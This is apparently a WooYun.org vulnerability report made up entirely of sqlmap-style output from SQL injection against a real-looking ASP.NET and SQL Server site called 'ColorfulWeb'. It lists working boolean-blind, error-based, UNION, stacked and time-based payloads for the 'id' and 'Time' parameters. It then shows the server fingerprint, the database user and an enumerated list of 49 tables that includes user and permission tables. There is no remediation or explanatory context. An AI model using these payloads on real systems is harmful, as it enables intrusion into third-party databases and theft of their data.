WooYun.org

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1312c321776344fe4975917d082db085326b' AND 2500=2500 AND 'uzXS'='uzXS
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1312c321776344fe4975917d082db085326b'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1312c321776344fe4975917d082db085326b' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
current user:    'ColorfulWebUser'

Place: GET
Parameter: Time
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: colorfulid=4&Time=2013' AND 8193=8193 AND 'lNpP'='lNpP
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: colorfulid=4&Time=2013' AND 3542=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(100)+CHAR(113)+(SELECT (CASE WHEN (3542=3542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(112)+CHAR(112)+CHAR(113))) AND 'rmZW'='rmZW
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: colorfulid=4&Time=2013' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(112)+CHAR(100)+CHAR(113)+CHAR(83)+CHAR(83)+CHAR(119)+CHAR(100)+CHAR(98)+CHAR(120)+CHAR(116)+CHAR(99)+CHAR(104)+CHAR(112)+CHAR(113)+CHAR(100)+CHAR(112)+CHAR(112)+CHAR(113),NULL,NULL,NULL-- 
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: colorfulid=4&Time=2013'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: colorfulid=4&Time=2013' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
current database:    'ColorfulWeb'

Database: ColorfulWeb
[49 tables]
+-----------------------------+
| B_ResouceInfo               |
| D99_Tmp                     |
| I_Credit                    |
| I_News                      |
| I_Recruit                   |
| I_SuccessfulCase            |
| I_SwitchImages              |
| I_SwitchSettings            |
| LeiFeng_Relation            |
| NPA_Parameters              |
| NPA_Product                 |
| P_DownloadFiles             |
| P_DownloadInfo              |
| P_DownloadType              |
| P_ProductBrand              |
| P_ProductCataLog            |
| P_ProductDownLoadRelation   |
| P_ProductImages             |
| P_ProductInfo               |
| P_ProductIntroduce          |
| P_ProductParameter          |
| P_ProductParameterVal       |
| P_ProductRoot               |
| P_ProductSeries             |
| P_ProductSeriesRelation     |
| P_ProductTechnical          |
| P_ProductTechnicalRelation  |
| R_GroupRight                |
| R_ModuleFunctions           |
| R_ModuleFunctions           |
| R_UserGroup                 |
| R_Users                     |
| SP_CellElements             |
| SP_ColorSeries              |
| SP_SpecialSubject2          |
| SP_SpecialSubject2          |
| SP_SubjectCells             |
| SP_SubjectMessage           |
| SP_Templet                  |
| SYS_LinkURL                 |
| SYS_Statistics              |
| SubjectMessage_View         |
| VW_LeiFengProductParameters |
| VW_ProductInfo              |
| VW_SP_SpecialSubject        |
| dtest                       |
| sysdiagrams                 |
| vwGetGroupRight             |
| vwGetNoneGroupRight         |
+-----------------------------+